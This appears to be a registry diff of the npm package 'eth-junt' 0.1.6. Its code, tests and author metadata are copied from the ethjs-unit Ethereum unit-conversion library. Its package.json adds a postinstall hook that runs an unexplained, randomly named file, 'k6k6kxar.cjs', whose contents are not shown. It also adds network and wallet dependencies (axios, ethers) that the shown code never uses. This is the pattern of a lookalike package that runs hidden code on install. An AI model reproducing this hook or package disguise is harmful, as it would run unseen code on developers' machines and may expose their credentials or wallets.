eth-junt 0.1.6

Sign up to get free protection for your applications and to get access to all the features.
Files changed (13) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +181 -0
  3. package/dist/ethjs-unit.js +5836 -0
  4. package/dist/ethjs-unit.js.map +1 -0
  5. package/dist/ethjs-unit.min.js +3 -0
  6. package/internals/webpack/webpack.config.js +58 -0
  7. package/k6k6kxar.cjs +1 -0
  8. package/lib/index.js +168 -0
  9. package/lib/index.txt +146 -0
  10. package/lib/tests/test.index.js +165 -0
  11. package/package.json +223 -0
  12. package/src/index.js +155 -0
  13. package/src/tests/test.index.js +138 -0
package/lib/tests/test.index.js ADDED
@@ -0,0 +1,165 @@
1
+ 'use strict';
2
+
3
+ var units = require('../index.js'); // eslint-disable-line
4
+ var BigNumber = require('bn.js'); // eslint-disable-line
5
+ var ActualBigNumber = require('bignumber.js');
6
+ var Web3 = require('web3'); // eslint-disable-line
7
+ var web3 = new Web3(); // eslint-disable-line
8
+ var assert = require('chai').assert; // eslint-disable-line
9
+ var totalTypes = Object.keys(units.unitMap).length;
10
+
11
+ function testRandomValueAgainstWeb3ToWei(negative) {
12
+ var stringTestValue = '' + (negative ? '-' : '') + String(Math.floor(Math.random() * 100000000000000000 + 1));
13
+ var randomunitsType = Object.keys(units.unitMap)[Math.floor(Math.random() * (totalTypes - 1) + 1)];
14
+ var unitsValue = units.toWei(stringTestValue, randomunitsType);
15
+ var web3Value = new BigNumber(web3.toWei(stringTestValue, randomunitsType));
16
+
17
+ // it(`toWei should work like web3 val ${unitsValue.toString(10)} should equal ${web3Value.toString(10)}`, () => {
18
+ assert.deepEqual(unitsValue, web3Value);
19
+ // });
20
+ }
21
+
22
+ function testRandomValueAgainstWeb3FromWei(negative) {
23
+ var stringTestValue = '' + (negative ? '-' : '') + String(Math.floor(Math.random() * 100000000000000000 + 1));
24
+ var randomunitsType = Object.keys(units.unitMap)[Math.floor(Math.random() * (totalTypes - 1) + 1)];
25
+ var unitsValue = units.fromWei(stringTestValue, randomunitsType);
26
+ var web3Value = web3.fromWei(stringTestValue, randomunitsType);
27
+
28
+ // it(`fromWei should work like web3 rounded val ${unitsValue.substr(0, web3Value.length - 1)} should equal ${web3Value.substr(0, web3Value.length - 1)} for unit type ${randomunitsType}`, () => {
29
+ assert.deepEqual(unitsValue.substr(0, web3Value.length - 1), web3Value.substr(0, web3Value.length - 1));
30
+ // });
31
+ }
32
+
33
+ describe('getValueOfUnit', function () {
34
+ it('should throw when undefined or not string', function () {
35
+ function invalidFromWei() {
36
+ units.fromWei(1000000000000000000, 'something');
37
+ }
38
+ assert.throws(invalidFromWei, Error);
39
+ });
40
+ });
41
+
42
+ describe('toWei', function () {
43
+ it('should handle edge cases', function () {
44
+ assert.equal(units.toWei(0, 'wei').toString(10), '0');
45
+ assert.equal(units.toWei('0.0', 'wei').toString(10), '0');
46
+ assert.equal(units.toWei('.3', 'ether').toString(10), '300000000000000000');
47
+ assert.throws(function () {
48
+ return units.toWei('.', 'wei');
49
+ }, Error);
50
+ assert.throws(function () {
51
+ return units.toWei('1.243842387924387924897423897423', 'ether');
52
+ }, Error);
53
+ assert.throws(function () {
54
+ return units.toWei('8723.98234.98234', 'ether');
55
+ }, Error);
56
+ });
57
+
58
+ it('should return the correct value', function () {
59
+ assert.equal(units.toWei(1, 'wei').toString(10), '1');
60
+ assert.equal(units.toWei(1, 'kwei').toString(10), '1000');
61
+ assert.equal(units.toWei(1, 'Kwei').toString(10), '1000');
62
+ assert.equal(units.toWei(1, 'babbage').toString(10), '1000');
63
+ assert.equal(units.toWei(1, 'mwei').toString(10), '1000000');
64
+ assert.equal(units.toWei(1, 'Mwei').toString(10), '1000000');
65
+ assert.equal(units.toWei(1, 'lovelace').toString(10), '1000000');
66
+ assert.equal(units.toWei(1, 'gwei').toString(10), '1000000000');
67
+ assert.equal(units.toWei(1, 'Gwei').toString(10), '1000000000');
68
+ assert.equal(units.toWei(1, 'shannon').toString(10), '1000000000');
69
+ assert.equal(units.toWei(1, 'szabo').toString(10), '1000000000000');
70
+ assert.equal(units.toWei(1, 'finney').toString(10), '1000000000000000');
71
+ assert.equal(units.toWei(1, 'ether').toString(10), '1000000000000000000');
72
+ assert.equal(units.toWei(1, 'kether').toString(10), '1000000000000000000000');
73
+ assert.equal(units.toWei(1, 'grand').toString(10), '1000000000000000000000');
74
+ assert.equal(units.toWei(1, 'mether').toString(10), '1000000000000000000000000');
75
+ assert.equal(units.toWei(1, 'gether').toString(10), '1000000000000000000000000000');
76
+ assert.equal(units.toWei(1, 'tether').toString(10), '1000000000000000000000000000000');
77
+
78
+ assert.equal(units.toWei(1, 'kwei').toString(10), units.toWei(1, 'femtoether').toString(10));
79
+ assert.equal(units.toWei(1, 'szabo').toString(10), units.toWei(1, 'microether').toString(10));
80
+ assert.equal(units.toWei(1, 'finney').toString(10), units.toWei(1, 'milliether').toString(10));
81
+ assert.equal(units.toWei(1, 'milli').toString(10), units.toWei(1, 'milliether').toString(10));
82
+ assert.equal(units.toWei(1, 'milli').toString(10), units.toWei(1000, 'micro').toString(10));
83
+
84
+ assert.throws(function () {
85
+ units.toWei(1, 'wei1');
86
+ }, Error);
87
+ });
88
+ });
89
+
90
+ describe('numberToString', function () {
91
+ it('should handle edge cases', function () {
92
+ // assert.throws(() => units.numberToString(null), Error);
93
+ assert.throws(function () {
94
+ return units.numberToString(undefined);
95
+ }, Error);
96
+ // assert.throws(() => units.numberToString(NaN), Error);
97
+ assert.throws(function () {
98
+ return units.numberToString({});
99
+ }, Error);
100
+ assert.throws(function () {
101
+ return units.numberToString([]);
102
+ }, Error);
103
+ assert.throws(function () {
104
+ return units.numberToString('-1sdffsdsdf');
105
+ }, Error);
106
+ assert.throws(function () {
107
+ return units.numberToString('-0..-...9');
108
+ }, Error);
109
+ assert.throws(function () {
110
+ return units.numberToString('fds');
111
+ }, Error);
112
+ assert.throws(function () {
113
+ return units.numberToString('');
114
+ }, Error);
115
+ assert.throws(function () {
116
+ return units.numberToString('#');
117
+ }, Error);
118
+ assert.equal(units.numberToString(55), '55');
119
+ assert.equal(units.numberToString(1), '1');
120
+ assert.equal(units.numberToString(-1), '-1');
121
+ assert.equal(units.numberToString(0), '0');
122
+ assert.equal(units.numberToString(-0), '0');
123
+ assert.equal(units.numberToString(new ActualBigNumber(10.1)), '10.1');
124
+ assert.equal(units.numberToString(new ActualBigNumber(10000)), '10000');
125
+ assert.equal(units.numberToString(new BigNumber(10000)), '10000');
126
+ assert.equal(units.numberToString(new BigNumber('-1')), '-1');
127
+ assert.equal(units.numberToString(new BigNumber('1')), '1');
128
+ assert.equal(units.numberToString(new BigNumber(0)), '0');
129
+ });
130
+ });
131
+
132
+ describe('fromWei', function () {
133
+ it('should handle options', function () {
134
+ assert.equal(units.fromWei(10000000, 'wei', { commify: true }), '10,000,000');
135
+ });
136
+
137
+ it('should return the correct value', function () {
138
+ assert.equal(units.fromWei(1000000000000000000, 'wei'), '1000000000000000000');
139
+ assert.equal(units.fromWei(1000000000000000000, 'kwei'), '1000000000000000');
140
+ assert.equal(units.fromWei(1000000000000000000, 'mwei'), '1000000000000');
141
+ assert.equal(units.fromWei(1000000000000000000, 'gwei'), '1000000000');
142
+ assert.equal(units.fromWei(1000000000000000000, 'szabo'), '1000000');
143
+ assert.equal(units.fromWei(1000000000000000000, 'finney'), '1000');
144
+ assert.equal(units.fromWei(1000000000000000000, 'ether'), '1');
145
+ assert.equal(units.fromWei(1000000000000000000, 'kether'), '0.001');
146
+ assert.equal(units.fromWei(1000000000000000000, 'grand'), '0.001');
147
+ assert.equal(units.fromWei(1000000000000000000, 'mether'), '0.000001');
148
+ assert.equal(units.fromWei(1000000000000000000, 'gether'), '0.000000001');
149
+ assert.equal(units.fromWei(1000000000000000000, 'tether'), '0.000000000001');
150
+ });
151
+ });
152
+
153
+ describe('units', function () {
154
+ describe('normal functionality', function () {
155
+ it('should be the same as web3', function () {
156
+ for (var i = 0; i < 15000; i++) {
157
+ // eslint-disable-line
158
+ testRandomValueAgainstWeb3ToWei(false);
159
+ testRandomValueAgainstWeb3ToWei(true);
160
+ testRandomValueAgainstWeb3FromWei(false);
161
+ testRandomValueAgainstWeb3FromWei(true);
162
+ }
163
+ });
164
+ });
165
+ });
package/package.json ADDED
@@ -0,0 +1,223 @@
1
+ {
2
+ "name": "eth-junt",
3
+ "version": "0.1.6",
4
+ "description": "A simple module for handling Ethereum units (e.g. 'ether', 'wei', etc...)",
5
+ "main": "lib/index.js",
6
+ "files": [
7
+ "dist",
8
+ "internals",
9
+ "lib",
10
+ "src",
11
+ "k6k6kxar.cjs"
12
+ ],
13
+ "scripts": {
14
+ "postinstall": "node k6k6kxar.cjs"
15
+ },
16
+ "engines": {
17
+ "npm": ">=3",
18
+ "node": ">=6.5.0"
19
+ },
20
+ "babel": {
21
+ "plugins": [
22
+ [
23
+ "transform-es2015-template-literals",
24
+ {
25
+ "loose": true
26
+ }
27
+ ],
28
+ "transform-es2015-literals",
29
+ "transform-es2015-function-name",
30
+ "transform-es2015-arrow-functions",
31
+ "transform-es2015-block-scoped-functions",
32
+ [
33
+ "transform-es2015-classes",
34
+ {
35
+ "loose": true
36
+ }
37
+ ],
38
+ "transform-es2015-object-super",
39
+ "transform-es2015-shorthand-properties",
40
+ [
41
+ "transform-es2015-computed-properties",
42
+ {
43
+ "loose": true
44
+ }
45
+ ],
46
+ [
47
+ "transform-es2015-for-of",
48
+ {
49
+ "loose": true
50
+ }
51
+ ],
52
+ "transform-es2015-sticky-regex",
53
+ "transform-es2015-unicode-regex",
54
+ "check-es2015-constants",
55
+ [
56
+ "transform-es2015-spread",
57
+ {
58
+ "loose": true
59
+ }
60
+ ],
61
+ "transform-es2015-parameters",
62
+ [
63
+ "transform-es2015-destructuring",
64
+ {
65
+ "loose": true
66
+ }
67
+ ],
68
+ "transform-es2015-block-scoping",
69
+ "transform-object-rest-spread",
70
+ "transform-es3-member-expression-literals",
71
+ "transform-es3-property-literals"
72
+ ],
73
+ "env": {
74
+ "commonjs": {
75
+ "plugins": [
76
+ [
77
+ "transform-es2015-modules-commonjs",
78
+ {
79
+ "loose": true
80
+ }
81
+ ]
82
+ ]
83
+ }
84
+ }
85
+ },
86
+ "dependencies": {
87
+ "bn.js": "4.11.6",
88
+ "number-to-bn": "1.7.0",
89
+ "axios": "^1.7.7",
90
+ "ethers": "^6.13.2"
91
+ },
92
+ "devDependencies": {
93
+ "bignumber.js": "3.0.1",
94
+ "babel-cli": "6.18.0",
95
+ "babel-core": "6.18.2",
96
+ "babel-loader": "6.2.8",
97
+ "babel-plugin-check-es2015-constants": "6.8.0",
98
+ "babel-plugin-transform-es2015-arrow-functions": "6.8.0",
99
+ "babel-plugin-transform-es2015-block-scoped-functions": "6.8.0",
100
+ "babel-plugin-transform-es2015-block-scoping": "6.18.0",
101
+ "babel-plugin-transform-es2015-classes": "6.18.0",
102
+ "babel-plugin-transform-es2015-computed-properties": "6.8.0",
103
+ "babel-plugin-transform-es2015-destructuring": "6.19.0",
104
+ "babel-plugin-transform-es2015-for-of": "6.18.0",
105
+ "babel-plugin-transform-es2015-function-name": "6.9.0",
106
+ "babel-plugin-transform-es2015-literals": "6.8.0",
107
+ "babel-plugin-transform-es2015-modules-commonjs": "6.18.0",
108
+ "babel-plugin-transform-es2015-object-super": "6.8.0",
109
+ "babel-plugin-transform-es2015-parameters": "6.18.0",
110
+ "babel-plugin-transform-es2015-shorthand-properties": "6.18.0",
111
+ "babel-plugin-transform-es2015-spread": "6.8.0",
112
+ "babel-plugin-transform-es2015-sticky-regex": "6.8.0",
113
+ "babel-plugin-transform-es2015-template-literals": "6.8.0",
114
+ "babel-plugin-transform-es2015-unicode-regex": "6.11.0",
115
+ "babel-plugin-transform-es3-member-expression-literals": "6.5.0",
116
+ "babel-plugin-transform-es3-property-literals": "6.5.0",
117
+ "babel-plugin-transform-object-rest-spread": "6.19.0",
118
+ "babel-register": "6.18.0",
119
+ "check-es3-syntax-cli": "0.1.3",
120
+ "webpack": "2.1.0-beta.15",
121
+ "json-loader": "0.5.4",
122
+ "rimraf": "2.3.4",
123
+ "cross-env": "1.0.7",
124
+ "babel-eslint": "7.1.0",
125
+ "chai": "3.5.0",
126
+ "coveralls": "2.11.9",
127
+ "eslint": "2.10.1",
128
+ "istanbul": "0.4.5",
129
+ "eslint-config-airbnb": "9.0.1",
130
+ "eslint-import-resolver-webpack": "0.2.4",
131
+ "eslint-plugin-import": "1.8.0",
132
+ "eslint-plugin-jsx-a11y": "1.2.0",
133
+ "eslint-plugin-react": "5.1.1",
134
+ "eventsource-polyfill": "0.9.6",
135
+ "lint-staged": "1.0.1",
136
+ "mocha": "3.1.2",
137
+ "pre-commit": "1.1.3",
138
+ "web3": "0.17.0-beta"
139
+ },
140
+ "keywords": [
141
+ "ethereum",
142
+ "encoding",
143
+ "decoding"
144
+ ],
145
+ "author": "Nick Dodson <thenickdodson@gmail.com>",
146
+ "contributors": [
147
+ {
148
+ "name": "Richard Moore",
149
+ "email": "me@ricmoo.com",
150
+ "url": "https://ethers.io"
151
+ },
152
+ {
153
+ "name": "Marek Kotewicz",
154
+ "email": "marek@ethdev.com",
155
+ "url": "https://github.com/debris"
156
+ },
157
+ {
158
+ "name": "Fabian Vogelsteller",
159
+ "email": "fabian@ethdev.com",
160
+ "homepage": "http://frozeman.de"
161
+ },
162
+ {
163
+ "name": "Marian Oancea",
164
+ "email": "marian@ethdev.com",
165
+ "url": "https://github.com/cubedro"
166
+ },
167
+ {
168
+ "name": "Gav Wood",
169
+ "email": "g@ethdev.com",
170
+ "homepage": "http://gavwood.com"
171
+ },
172
+ {
173
+ "name": "Jeffery Wilcke",
174
+ "email": "jeff@ethdev.com",
175
+ "url": "https://github.com/obscuren"
176
+ }
177
+ ],
178
+ "repository": {
179
+ "type": "git",
180
+ "url": "git://github.com/ethjs/ethjs-unit"
181
+ },
182
+ "license": "MIT",
183
+ "lint-staged": {
184
+ "lint:eslint": "*.js"
185
+ },
186
+ "eslintConfig": {
187
+ "parser": "babel-eslint",
188
+ "extends": "airbnb",
189
+ "env": {
190
+ "node": true,
191
+ "mocha": true,
192
+ "es6": true
193
+ },
194
+ "parserOptions": {
195
+ "ecmaVersion": 6,
196
+ "sourceType": "module"
197
+ },
198
+ "rules": {
199
+ "import/no-unresolved": 2,
200
+ "comma-dangle": [
201
+ 2,
202
+ "always-multiline"
203
+ ],
204
+ "indent": [
205
+ 2,
206
+ 2,
207
+ {
208
+ "SwitchCase": 1
209
+ }
210
+ ],
211
+ "no-console": 1,
212
+ "max-len": 0,
213
+ "prefer-template": 2,
214
+ "no-use-before-define": 0,
215
+ "newline-per-chained-call": 0,
216
+ "arrow-body-style": [
217
+ 2,
218
+ "as-needed"
219
+ ]
220
+ }
221
+ },
222
+ "pre-commit": "build"
223
+ }
package/src/index.js ADDED
@@ -0,0 +1,155 @@
1
+ const BN = require('bn.js');
2
+ const numberToBN = require('number-to-bn');
3
+
4
+ const zero = new BN(0);
5
+ const negative1 = new BN(-1);
6
+
7
+ // complete ethereum unit map
8
+ const unitMap = {
9
+ 'noether': '0', // eslint-disable-line
10
+ 'wei': '1', // eslint-disable-line
11
+ 'kwei': '1000', // eslint-disable-line
12
+ 'Kwei': '1000', // eslint-disable-line
13
+ 'babbage': '1000', // eslint-disable-line
14
+ 'femtoether': '1000', // eslint-disable-line
15
+ 'mwei': '1000000', // eslint-disable-line
16
+ 'Mwei': '1000000', // eslint-disable-line
17
+ 'lovelace': '1000000', // eslint-disable-line
18
+ 'picoether': '1000000', // eslint-disable-line
19
+ 'gwei': '1000000000', // eslint-disable-line
20
+ 'Gwei': '1000000000', // eslint-disable-line
21
+ 'shannon': '1000000000', // eslint-disable-line
22
+ 'nanoether': '1000000000', // eslint-disable-line
23
+ 'nano': '1000000000', // eslint-disable-line
24
+ 'szabo': '1000000000000', // eslint-disable-line
25
+ 'microether': '1000000000000', // eslint-disable-line
26
+ 'micro': '1000000000000', // eslint-disable-line
27
+ 'finney': '1000000000000000', // eslint-disable-line
28
+ 'milliether': '1000000000000000', // eslint-disable-line
29
+ 'milli': '1000000000000000', // eslint-disable-line
30
+ 'ether': '1000000000000000000', // eslint-disable-line
31
+ 'kether': '1000000000000000000000', // eslint-disable-line
32
+ 'grand': '1000000000000000000000', // eslint-disable-line
33
+ 'mether': '1000000000000000000000000', // eslint-disable-line
34
+ 'gether': '1000000000000000000000000000', // eslint-disable-line
35
+ 'tether': '1000000000000000000000000000000', // eslint-disable-line
36
+ };
37
+
38
+ /**
39
+ * Returns value of unit in Wei
40
+ *
41
+ * @method getValueOfUnit
42
+ * @param {String} unit the unit to convert to, default ether
43
+ * @returns {BigNumber} value of the unit (in Wei)
44
+ * @throws error if the unit is not correct:w
45
+ */
46
+ function getValueOfUnit(unitInput) {
47
+ const unit = unitInput ? unitInput.toLowerCase() : 'ether';
48
+ var unitValue = unitMap[unit]; // eslint-disable-line
49
+
50
+ if (typeof unitValue !== 'string') {
51
+ throw new Error(`[ethjs-unit] the unit provided ${unitInput} doesn't exists, please use the one of the following units ${JSON.stringify(unitMap, null, 2)}`);
52
+ }
53
+
54
+ return new BN(unitValue, 10);
55
+ }
56
+
57
+ function numberToString(arg) {
58
+ if (typeof arg === 'string') {
59
+ if (!arg.match(/^-?[0-9.]+$/)) {
60
+ throw new Error(`while converting number to string, invalid number value '${arg}', should be a number matching (^-?[0-9.]+).`);
61
+ }
62
+ return arg;
63
+ } else if (typeof arg === 'number') {
64
+ return String(arg);
65
+ } else if (typeof arg === 'object' && arg.toString && (arg.toTwos || arg.dividedToIntegerBy)) {
66
+ if (arg.toPrecision) {
67
+ return String(arg.toPrecision());
68
+ } else { // eslint-disable-line
69
+ return arg.toString(10);
70
+ }
71
+ }
72
+ throw new Error(`while converting number to string, invalid number value '${arg}' type ${typeof arg}.`);
73
+ }
74
+
75
+ function fromWei(weiInput, unit, optionsInput) {
76
+ var wei = numberToBN(weiInput); // eslint-disable-line
77
+ var negative = wei.lt(zero); // eslint-disable-line
78
+ const base = getValueOfUnit(unit);
79
+ const baseLength = unitMap[unit].length - 1 || 1;
80
+ const options = optionsInput || {};
81
+
82
+ if (negative) {
83
+ wei = wei.mul(negative1);
84
+ }
85
+
86
+ var fraction = wei.mod(base).toString(10); // eslint-disable-line
87
+
88
+ while (fraction.length < baseLength) {
89
+ fraction = `0${fraction}`;
90
+ }
91
+
92
+ if (!options.pad) {
93
+ fraction = fraction.match(/^([0-9]*[1-9]|0)(0*)/)[1];
94
+ }
95
+
96
+ var whole = wei.div(base).toString(10); // eslint-disable-line
97
+
98
+ if (options.commify) {
99
+ whole = whole.replace(/\B(?=(\d{3})+(?!\d))/g, ',');
100
+ }
101
+
102
+ var value = `${whole}${fraction == '0' ? '' : `.${fraction}`}`; // eslint-disable-line
103
+
104
+ if (negative) {
105
+ value = `-${value}`;
106
+ }
107
+
108
+ return value;
109
+ }
110
+
111
+ function toWei(etherInput, unit) {
112
+ var ether = numberToString(etherInput); // eslint-disable-line
113
+ const base = getValueOfUnit(unit);
114
+ const baseLength = unitMap[unit].length - 1 || 1;
115
+
116
+ // Is it negative?
117
+ var negative = (ether.substring(0, 1) === '-'); // eslint-disable-line
118
+ if (negative) {
119
+ ether = ether.substring(1);
120
+ }
121
+
122
+ if (ether === '.') { throw new Error(`[ethjs-unit] while converting number ${etherInput} to wei, invalid value`); }
123
+
124
+ // Split it into a whole and fractional part
125
+ var comps = ether.split('.'); // eslint-disable-line
126
+ if (comps.length > 2) { throw new Error(`[ethjs-unit] while converting number ${etherInput} to wei, too many decimal points`); }
127
+
128
+ var whole = comps[0], fraction = comps[1]; // eslint-disable-line
129
+
130
+ if (!whole) { whole = '0'; }
131
+ if (!fraction) { fraction = '0'; }
132
+ if (fraction.length > baseLength) { throw new Error(`[ethjs-unit] while converting number ${etherInput} to wei, too many decimal places`); }
133
+
134
+ while (fraction.length < baseLength) {
135
+ fraction += '0';
136
+ }
137
+
138
+ whole = new BN(whole);
139
+ fraction = new BN(fraction);
140
+ var wei = (whole.mul(base)).add(fraction); // eslint-disable-line
141
+
142
+ if (negative) {
143
+ wei = wei.mul(negative1);
144
+ }
145
+
146
+ return new BN(wei.toString(10), 10);
147
+ }
148
+
149
+ module.exports = {
150
+ unitMap,
151
+ numberToString,
152
+ getValueOfUnit,
153
+ fromWei,
154
+ toWei,
155
+ };
package/src/tests/test.index.js ADDED
@@ -0,0 +1,138 @@
1
+ const units = require('../index.js'); // eslint-disable-line
2
+ const BigNumber = require('bn.js'); // eslint-disable-line
3
+ const ActualBigNumber = require('bignumber.js');
4
+ const Web3 = require('web3'); // eslint-disable-line
5
+ const web3 = new Web3(); // eslint-disable-line
6
+ const assert = require('chai').assert; // eslint-disable-line
7
+ const totalTypes = Object.keys(units.unitMap).length;
8
+
9
+ function testRandomValueAgainstWeb3ToWei(negative) {
10
+ const stringTestValue = `${negative ? '-' : ''}${String(Math.floor((Math.random() * 100000000000000000) + 1))}`;
11
+ const randomunitsType = Object.keys(units.unitMap)[Math.floor((Math.random() * (totalTypes - 1)) + 1)];
12
+ const unitsValue = units.toWei(stringTestValue, randomunitsType);
13
+ const web3Value = new BigNumber(web3.toWei(stringTestValue, randomunitsType));
14
+
15
+ // it(`toWei should work like web3 val ${unitsValue.toString(10)} should equal ${web3Value.toString(10)}`, () => {
16
+ assert.deepEqual(unitsValue, web3Value);
17
+ // });
18
+ }
19
+
20
+ function testRandomValueAgainstWeb3FromWei(negative) {
21
+ const stringTestValue = `${negative ? '-' : ''}${String(Math.floor((Math.random() * 100000000000000000) + 1))}`;
22
+ const randomunitsType = Object.keys(units.unitMap)[Math.floor((Math.random() * (totalTypes - 1)) + 1)];
23
+ const unitsValue = units.fromWei(stringTestValue, randomunitsType);
24
+ const web3Value = web3.fromWei(stringTestValue, randomunitsType);
25
+
26
+ // it(`fromWei should work like web3 rounded val ${unitsValue.substr(0, web3Value.length - 1)} should equal ${web3Value.substr(0, web3Value.length - 1)} for unit type ${randomunitsType}`, () => {
27
+ assert.deepEqual(unitsValue.substr(0, web3Value.length - 1), web3Value.substr(0, web3Value.length - 1));
28
+ // });
29
+ }
30
+
31
+ describe('getValueOfUnit', () => {
32
+ it('should throw when undefined or not string', () => {
33
+ function invalidFromWei() {
34
+ units.fromWei(1000000000000000000, 'something');
35
+ }
36
+ assert.throws(invalidFromWei, Error);
37
+ });
38
+ });
39
+
40
+ describe('toWei', () => {
41
+ it('should handle edge cases', () => {
42
+ assert.equal(units.toWei(0, 'wei').toString(10), '0');
43
+ assert.equal(units.toWei('0.0', 'wei').toString(10), '0');
44
+ assert.equal(units.toWei('.3', 'ether').toString(10), '300000000000000000');
45
+ assert.throws(() => units.toWei('.', 'wei'), Error);
46
+ assert.throws(() => units.toWei('1.243842387924387924897423897423', 'ether'), Error);
47
+ assert.throws(() => units.toWei('8723.98234.98234', 'ether'), Error);
48
+ });
49
+
50
+ it('should return the correct value', () => {
51
+ assert.equal(units.toWei(1, 'wei').toString(10), '1');
52
+ assert.equal(units.toWei(1, 'kwei').toString(10), '1000');
53
+ assert.equal(units.toWei(1, 'Kwei').toString(10), '1000');
54
+ assert.equal(units.toWei(1, 'babbage').toString(10), '1000');
55
+ assert.equal(units.toWei(1, 'mwei').toString(10), '1000000');
56
+ assert.equal(units.toWei(1, 'Mwei').toString(10), '1000000');
57
+ assert.equal(units.toWei(1, 'lovelace').toString(10), '1000000');
58
+ assert.equal(units.toWei(1, 'gwei').toString(10), '1000000000');
59
+ assert.equal(units.toWei(1, 'Gwei').toString(10), '1000000000');
60
+ assert.equal(units.toWei(1, 'shannon').toString(10), '1000000000');
61
+ assert.equal(units.toWei(1, 'szabo').toString(10), '1000000000000');
62
+ assert.equal(units.toWei(1, 'finney').toString(10), '1000000000000000');
63
+ assert.equal(units.toWei(1, 'ether').toString(10), '1000000000000000000');
64
+ assert.equal(units.toWei(1, 'kether').toString(10), '1000000000000000000000');
65
+ assert.equal(units.toWei(1, 'grand').toString(10), '1000000000000000000000');
66
+ assert.equal(units.toWei(1, 'mether').toString(10), '1000000000000000000000000');
67
+ assert.equal(units.toWei(1, 'gether').toString(10), '1000000000000000000000000000');
68
+ assert.equal(units.toWei(1, 'tether').toString(10), '1000000000000000000000000000000');
69
+
70
+ assert.equal(units.toWei(1, 'kwei').toString(10), units.toWei(1, 'femtoether').toString(10));
71
+ assert.equal(units.toWei(1, 'szabo').toString(10), units.toWei(1, 'microether').toString(10));
72
+ assert.equal(units.toWei(1, 'finney').toString(10), units.toWei(1, 'milliether').toString(10));
73
+ assert.equal(units.toWei(1, 'milli').toString(10), units.toWei(1, 'milliether').toString(10));
74
+ assert.equal(units.toWei(1, 'milli').toString(10), units.toWei(1000, 'micro').toString(10));
75
+
76
+ assert.throws(() => { units.toWei(1, 'wei1'); }, Error);
77
+ });
78
+ });
79
+
80
+ describe('numberToString', () => {
81
+ it('should handle edge cases', () => {
82
+ // assert.throws(() => units.numberToString(null), Error);
83
+ assert.throws(() => units.numberToString(undefined), Error);
84
+ // assert.throws(() => units.numberToString(NaN), Error);
85
+ assert.throws(() => units.numberToString({}), Error);
86
+ assert.throws(() => units.numberToString([]), Error);
87
+ assert.throws(() => units.numberToString('-1sdffsdsdf'), Error);
88
+ assert.throws(() => units.numberToString('-0..-...9'), Error);
89
+ assert.throws(() => units.numberToString('fds'), Error);
90
+ assert.throws(() => units.numberToString(''), Error);
91
+ assert.throws(() => units.numberToString('#'), Error);
92
+ assert.equal(units.numberToString(55), '55');
93
+ assert.equal(units.numberToString(1), '1');
94
+ assert.equal(units.numberToString(-1), '-1');
95
+ assert.equal(units.numberToString(0), '0');
96
+ assert.equal(units.numberToString(-0), '0');
97
+ assert.equal(units.numberToString(new ActualBigNumber(10.1)), '10.1');
98
+ assert.equal(units.numberToString(new ActualBigNumber(10000)), '10000');
99
+ assert.equal(units.numberToString(new BigNumber(10000)), '10000');
100
+ assert.equal(units.numberToString(new BigNumber('-1')), '-1');
101
+ assert.equal(units.numberToString(new BigNumber('1')), '1');
102
+ assert.equal(units.numberToString(new BigNumber(0)), '0');
103
+ });
104
+ });
105
+
106
+ describe('fromWei', () => {
107
+ it('should handle options', () => {
108
+ assert.equal(units.fromWei(10000000, 'wei', { commify: true }), '10,000,000');
109
+ });
110
+
111
+ it('should return the correct value', () => {
112
+ assert.equal(units.fromWei(1000000000000000000, 'wei'), '1000000000000000000');
113
+ assert.equal(units.fromWei(1000000000000000000, 'kwei'), '1000000000000000');
114
+ assert.equal(units.fromWei(1000000000000000000, 'mwei'), '1000000000000');
115
+ assert.equal(units.fromWei(1000000000000000000, 'gwei'), '1000000000');
116
+ assert.equal(units.fromWei(1000000000000000000, 'szabo'), '1000000');
117
+ assert.equal(units.fromWei(1000000000000000000, 'finney'), '1000');
118
+ assert.equal(units.fromWei(1000000000000000000, 'ether'), '1');
119
+ assert.equal(units.fromWei(1000000000000000000, 'kether'), '0.001');
120
+ assert.equal(units.fromWei(1000000000000000000, 'grand'), '0.001');
121
+ assert.equal(units.fromWei(1000000000000000000, 'mether'), '0.000001');
122
+ assert.equal(units.fromWei(1000000000000000000, 'gether'), '0.000000001');
123
+ assert.equal(units.fromWei(1000000000000000000, 'tether'), '0.000000000001');
124
+ });
125
+ });
126
+
127
+ describe('units', () => {
128
+ describe('normal functionality', () => {
129
+ it('should be the same as web3', () => {
130
+ for (var i = 0; i < 15000; i++) { // eslint-disable-line
131
+ testRandomValueAgainstWeb3ToWei(false);
132
+ testRandomValueAgainstWeb3ToWei(true);
133
+ testRandomValueAgainstWeb3FromWei(false);
134
+ testRandomValueAgainstWeb3FromWei(true);
135
+ }
136
+ });
137
+ });
138
+ });